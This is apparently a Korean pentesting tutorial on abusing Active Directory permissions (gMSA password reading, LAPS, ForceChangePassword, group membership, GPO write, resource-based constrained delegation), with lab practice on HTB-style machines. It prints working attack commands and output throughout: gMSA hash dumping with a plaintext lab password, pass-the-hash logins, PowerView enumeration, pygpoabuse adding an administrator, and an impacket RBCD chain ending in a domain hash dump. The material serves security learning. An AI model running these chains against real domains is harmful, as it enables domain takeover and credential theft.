gMSA는 Group Managed Service Account의 약어로 Windows Server 환경에서 사용되는 특별한 유형의 관리 서비스 계정입니다. 일반적인 서비스 계정보다 더 강화된 보안을 제공하며, 여러 서버나 컴퓨터에서 하나의 계정을 공유할 수 있도록 설계되었습니다. 이 중에서도 ReadGMSAPassword 권한은 특정 사용자나 그룹이 GMSA 계정의 암호를 읽을 수 있도록 하는 권한입니다.
gMSA는 AD에서 자동으로 관리되므로 패스워드 관리 문제에 관한 솔루션이기도 합니다. 예를 들어 모든 서비스 계정에 30일마다 매우 복잡한 고유 비밀번호가 제공되므로 관리자는 서비스 계정의 비밀번호 재설정에 대해서 자유롭습니다. 따라서 이러한 그룹에 속해있는 사용자 계정을 탈취한다면 gMSA 서비스를 통해 해당 계정의 암호에 접근할 수 있는 권한을 가집니다.
위 사진은 쿠버네티스 환경에서 GMSA의 역할에 대해서 알려주고 있습니다. 컨테이너에서 AD에 등록되어 있는 서비스 예를 들면 SQL Server나 IIS 등을 이용하기 위해서는 해당 서비스에 대해 계정정보를 알아야 합니다. 이때 컨테이너 여러개에서 동일한 서비스 계정에 접근하기 위해서는 패스워드 관리가 필요할 것이며, 서비스 패스워드를 관리자가 매번 관리하는 것보다는 자동화된 프로그램을 통해서 강력한 패스워드 정책을 준수한 패스워드로 설정하는 것이 나을 것입니다. 위 사진 속 과정을 설명하면 다음과 같습니다.
Windows Pod는 쿠버네티스 API에서 사용 가능한 GMSACredentialSpec을 참조합니다.그리고 웹훅은 Windows Pod가 GMSACredentialSpec을 참조할 수 있는 권한이 있는지를 확인합니다. 마지막으로 웹 훅은 GMSACredentialSpec을 Pod의 전체 JSON 형식으로 확장합니다.
Windows 노드에서 실행되는 ccg.exe 프로세스는 PluginID 필드의 CredSpec에 지정된 플러그인을 시작한 다음 AWS Secrets Manager 또는 AWS System Manager Parameter Store에서 이식 가능한 ID 자격 증명을 검색합니다.
ccg.exe는 휴대용 ID 자격 증명을 사용하여 AWS 관리 AD 또는 Amazon EC2 자체관리 AD를 인증하고 GMSA 비밀번호를 검색합니다.
ccg.exe는 GMSA 비밀번호를 Windows Pod에서 사용할 수 있도록 해줍니다.
Windows Pod는 GMSA 비밀번호를 사용하여 AW 관리 AD 또는 Amazon EC2 자체 관리 AD에 대해 인증하고 커버로스 TGS를 얻습니다.
Windows Pod에서는 TGS를 통해 서비스 이용 가능
쉽게 요약하면 다음과 같습니다.
Windows Pod가 GMSACredentialSpec에 접근할 권한이 있는지 웹훅이 확인하며 권한이 있다면 해당 정보를 JSON 포맷으로 전달
ccg.exe는 AD에 접근하기 위해서 인증 정보를 얻기 위해 AWS Server Manager에서 휴대용 ID 자격 증명을 획득
ccg.exe는 획득한 자격증명을 토대로 AWS 관리 AD 혹은 Amazon EC2 자체관리 AD에 자격 증명을 인증하고 GMSA 패스워드를 검색
획득한 패스워드를 Windows Pod에 전달
Windows Pod는 해당 패스워드를 가지고 Kerberos 인증을 통해 TGS를 발급
획득한 TGS를 통해서 Pod는 Service 이용이 가능
탈취한 계정이 ReadGMSAPassword 권한이 있는 계정 혹은 그룹, 도메인, 컨테이너라면 우리는 사실상 해당 계정을 장악했다고 봐도 무방합니다. 서버에 Remote PowerShell같은 권한이 있어서 원격 접속이 가능하다면 NT Hash나 gMSA를 가져와서 그 계정의 권한으로 동작을 수행할 수도 있고 SMB나 LDAP 등에 접속하여 크리덴셜 정보를 빼오는 것 또한 가능합니다.
Practice
SIERRA 계정은 BIRMINGHAN-ITSEC 그룹의 멤버입니다. 그리고 이 그룹은 ITSEC의 멤버이기 때문에 SIERRA 계정은 ITSEC 그룹의 권한을 가집니다. 즉 ITSEC이 가진 ReadGMSAPassword 권한을 SIERRA가 가진 것과 동일한데, BIR-ADFS-GMSA 계정에 대한 GMSA를 가지게 되어서 활동이 가능하다면 TRISTAN 계정에 GenericAll 권한이 있기 때문에 TRISTAN 계정의 패스워드 변경이 가능합니다. 또 TRISTAN 계정은 DOMAIN ADMINS 그룹의 구성원이기 때문에 TRISTAN 계정의 패스워드를 BIR-ADFS-GMSA 권한으로 변경한다면 TRISTAN 계정으로 로그인이 가능할 것이고, 이 계정은 DOMAIN ADMINS 권한을 갖는 것이죠. 파워쉘에서 특정 사용자 권한으로 다른 사용자의 패스워드를 변경할 때는 2가지 조건이 필요합니다.
패스워드를 변경할 사용자의 계정에 대해서 패스워드 변경 권한이 있는 사용자의 계정 정보
파워쉘 명령어를 입력할 수 있는 프롬포트
현재 2가지 조건을 모두 만족하기 때문에 tristan.davies 계정의 패스워드를 BIR-ADFS-GMSA 권한으로 변경해줍니다.
ReadGMSAPassword 권한이 있는 계정에 원격 쉘 접속이 없는 경우에는 NT 해쉬 값을 가져오는 Python 파일을 사용할 수 있습니다. GitHub로부터 파일을 가져온 뒤, 로컬에서 획득한 ReadGMSAPassword 권한이 있는 사용자의 정보를 입력해줍니다.
┌──(root㉿kali)-[~/Pentest/Scripts]
└─# python3 gMSADumper.py -u 'Sierra.Frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' -d search.htb
Users or groups who can read password for BIR-ADFS-GMSA$:
> ITSec
BIR-ADFS-GMSA$:::e1e9fd9e46d0d747e1595167eedcec0f
BIR-ADFS-GMSA$:aes256-cts-hmac-sha1-96:06e03fa99d7a99ee1e58d795dccc7065a08fe7629441e57ce463be2bc51acf38
BIR-ADFS-GMSA$:aes128-cts-hmac-sha1-96:dc4a4346f54c0df29313ff8a21151a42
유효한 권한을 가졌다면 획득할 수 있는 GMSA 계정에 질의를 하고 획득한 사용자의 NT Hash 정보를 출력해줍니다. NT Hash 정보로는 사실상 대부분의 서비스에서 패스워드와 동일하게 취급받기 때문에 SMB, LDAP과 같은 서비스에 BIR-ADFS-GMSA$ 사용자 계정으로 로그인이 가능합니다.
┌──(root㉿kali)-[~/Pentest/Scripts]
└─# nxc smb 10.10.11.129 -u 'BIR-ADFS-GMSA$' -H e1e9fd9e46d0d747e1595167eedcec0f
SMB 10.10.11.129 445 RESEARCH [*] Windows 10 / Server 2019 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.129 445 RESEARCH [+] search.htb\BIR-ADFS-GMSA$:e1e9fd9e46d0d747e1595167eedcec0f
LAPS는 Local Administrator Password Solution으로 Microsoft에서 배포한 로컬 관리자 패스워드 솔루션입니다. 이 솔루션을 사용할 경우 도메인 내 각 머신에 있는 로컬 관리자 계정(RID 값이 500이거나 사용자 정의 계정)의 패스워드를 주기적으로 변경합니다. 솔루션을 도입 시 컴퓨터 객체에는 ms-Mcs-AdmPwd와 ms-Mcs-AdmPwdExpirationTime 두개의 속성이 추가됩니다. ms-Mcs-AdmPwd 는 LAPS 솔루션에 포함된 도메인 내 로컬 관리자 계정들에게 읽기 권한이 있으며, 이곳에서 모든 로컬 관리자 패스워드를 확인할 수 있습니다. 따라서 LAPS 관리자에 속하는 도메인 로컬 관리자 계정을 장악 시, 다른 로컬 관리자 계정으로 측면 이동이 가능합니다.
LAPS를 사용하는 객체만을 열거하기 위해 ms-Mcs-AdmPwdExpirationTime 속성이 null 값이 아닌 객체를 찾는 방법이 있습니다. 또한 ms-Mcs-AdmPwd 읽기 권한이 있는 객체를 열거하는 방법을 사용하여 로컬 관리자 권한을 획득하기 위해 어떤 객체를 타겟해야 할지 선정할 수 있습니다.
# ms-Mcs-AdmPwdExpirationTime 속성이 null이 아닌 객체 열거
Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName
# 각 컴퓨터 객체의 DACL을 읽어 ms-Mcs-AdmPwd 속성을 읽을 수 있는 객체를 열거
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn, SecurityIdentifier
# 열거된 SID 주체 확인
ConvertFrom-SID <SID>
# 컴퓨터의 ms-Mcs-AdmPwd 속성 읽기
Get-DomainComputer -Identity <Machine> -Properties ms-Mcs-AdmPwd
Practice
*Evil-WinRM* PS C:\windows\temp> net groups LAPS_Readers
Group name LAPS_Readers
Comment
Members
-------------------------------------------------------------------------------
svc_deploy
The command completed successfully.
획득한 쉘인 svc_deploy 사용자는 LAPS_Readers 그룹에 소속되어 있습니다. 현재 쉘에서 LAPS에서 관리하는 모든 관리자 계정에 대한 ms-Mcs-AdmPwd 값을 가져오는 명령은 다음과 같습니다.
ForceChangePassword는 Active Directory에서 사용되는 권한입니다. Active Directory에서 사용되는 권한인 ForceChangePassword는 Alice 사용자가 Bob 사용자에 대한 권한이 있을 시 Bob 사용자의 패스워드를 임의로 변경해버릴 수 있는 권한입니다.
침투자 혹은 공격자의 입장에서 프롬프트 환경을 사용하지 못한다고 하더라도 msrpc, SMB 등의 프로토콜이 실행중이라면 원격 명령 실행을 통해 변경할 수 있습니다. 현재 실습 환경에서는 wiki 사용자가 pentesting 사용자에 대한 ForceChangePassword 권한이 있기 때문에 원격으로 pentesting 사용자의 패스워드를 변경할 수 있습니다.
msrpc가 실행중인 서버의 경우 setuserinfo2를 통해서 변경 권한이 있는 유저에 한해서 유저 정보 변경이 가능합니다. RPC 원격 접속을 변경 권한이 존재하는 support 계정으로 접속했기 때문에 audit2020 계정에 한해서 setuserinfo2 모듈 사용을 통한 정보 변경이 가능합니다. setuserinfo2 모듈에서 패스워드 변경은 23번이며 기본 포맷은 다음과 같습니다.
setuserinfo2 <Target> 23 <New PASS>
명령 실행 이후엔 패스워드가 변경되어 기존의 password123@에서 password321!로 변경된 뒤 로그인이 성공합니다.
AddSelf는 자신을 특정 그룹에 추가할 때 스스로의 권한으로 위임할 수 있는 권한입니다.
# AddSelf 권한이 있는 사용자 자격증명을 객체로 저장
$SecPassword = ConvertTo-SecureString '<PASS>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<Domain>\<USER>', $SecPassword)
# 저장한 객체정보를 권한이 있는 그룹에 위임
Add-DomainGroupMember -Identity '<Group>' -Members '<USER>' -Credential $Cred
# 그룹의 멤버를 확인하여 정상적으로 위임이 되었는지 확인
Get-DomainGroupMember -Identity '<Group>'
AddMembers 권한은 그룹에 멤버를 추가할 수 있는 권한입니다. AddSelf 권한과의 차이점은 AddSelf는 권한 소유자를 그룹에 스스로 추가하는 것 뿐이지만 AddMembers 권한은 그룹 자체에 대한 멤버 추가 권한이기 때문에 권한 소유자 외 다른 사용자도 그룹에 추가시킬 수 있습니다.
WriteGPO는 공식적으로 존재하는 DACL이나 명칭은 아닙니다. 장악한 계정이 GPO에 대한 GenericAll과 같은 권한이 있어서 수정이 가능할 때 악용 가능한 시나리오 중 하나이지만, 성질이 다른 것과 상이하기 때문에 별도의 설명을 위해서 임의로 만든 이름입니다.
도메인의 GPO를 수정할 권한이 있다면, 특정 유저를 도메인 관리자로 임명하는 등 정책 변경을 통한 도메인 장악이 가능합니다. GPO 정책 변경을 위해서 pygpoabuse.py 사용할 수 있습니다. 변경에 필요한 몇가지 조건은 다음과 같습니다.
GPO에 대한 쓰기 권한
GPO ID
권한이 있는 사용자의 계정 정보
조건이 모두 만족된다면 다음 명령어를 통해서 권한이 있는 사용자를 도메인 관리자 그룹에 추가할 수 있습니다.
# 명령어 양식
pygpoabuse.py <Domain>/<USER>:<PASS> -gpo-id <GPO ID> -dc-ip <DC-IP> -command 'net localgroup Administrators /add <USER>' -f
# 실습
└─# python3 pygpoabuse.py baby2.vl/gpoadm:Password123! -gpo-id 31B2F340-016D-11D2-945F-00C04FB984F9 -dc-ip baby2.vl -command 'net localgroup Administrators /add gpoadm' -f
SUCCESS:root:ScheduledTask TASK_291c1c8d created!
[+] ScheduledTask TASK_291c1c8d created!
# 결과 확인
*Evil-WinRM* PS C:\> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
gpoadm
AddAllowedToAct 권한은 Kerberos 프로토콜에 대해서 리소스 기반의 제약된 위임을 할 수 있는 권한입니다. RBCD를 비롯하여 Delegation의 종류 3가지는 모두 컴퓨터에 있는 리소스를 주체로 하여금 제약 위임 목록을 관리하는 시스템이라 컴퓨터 계정에 국한하여 BloodHound로부터 이 관계를 확인할 수 있습니다. RBCD는 Resource-Based Constrained Delegation으로 자세한 설명은 이곳을 참조합니다.
이 권한을 직접 설정하기 위해서는 설정을 원하는 컴퓨터 계정의 Properties > Security > User > Write msDS-AllowedToActOnBehalfOfOtherIdentity 속성을 체크 표시로 변경합니다.
권한이 있을 때 공격자는 타겟 머신의 RBCD를 허가할 계정을 등록해야 합니다. 이때 MAQ 값이 1 이상인 경우 직접 장악한 계정으로부터 새로운 머신 계정을 생성하여 생성한 머신을 RBCD를 통해 제약 위임 권한을 등록하여 머신을 통해서 다른 사용자의 TGT를 발급받을 수 있습니다. 하지만 MAQ 값이 0이라고 하더라도 장악한 계정을 RBCD에 등록하여 사용 가능합니다.
Abuse
권한을 악용하기 위해서는 타겟 머신의 RBCD에 허용할 계정을 등록해야 합니다. 등록할 계정은 임의로 머신 계정을 생성합니다.
# 새로운 머신 계정 생성
impacket-addcomputer -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'
# 타겟의 RBCD에 계정 등록
impacket-rbdc -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'
# 등록된 계정을 통해 TGT 발급
impacket-getST -spn 'cifs/targetcomputer.testlab.local' -impersonate Administrator 'domain/attackersystem$:Summer2018!'
# 장악한 계정을 RFCD에 등록
impacket-rbcd -delegate-to <Target> -delegate-from <USER> -dc-ip <dc-ip> -action 'write' <Domain/USER:PASS>
# 계정의 TGT 발급
impacket-getTGT <Domain/USER> -hashed <NTLM>
# 발급된 TGT을 분석
impacket-describeTicket <Ticket>
# 계정의 NT Hash 값을 TGT 세션 키 값으로 변경
python3 smbpasswd.py <Domain/USER:PASS@DC FQDN>
# S4U2self를 통해서 도메인 관리자 ST 발급
impacket-getST -u2u -impersonate Administrator -spn 'cifs/<DC FQDN>' <Domain/USER> -k -no-pass
# 발급된 도메인 관리자 ST 환경 변수 등록
export KRB5CCNAME=<Service Ticket>
# 도메인 NT Hash 덤핑
impacket-secretsdump <DC FQDN> -k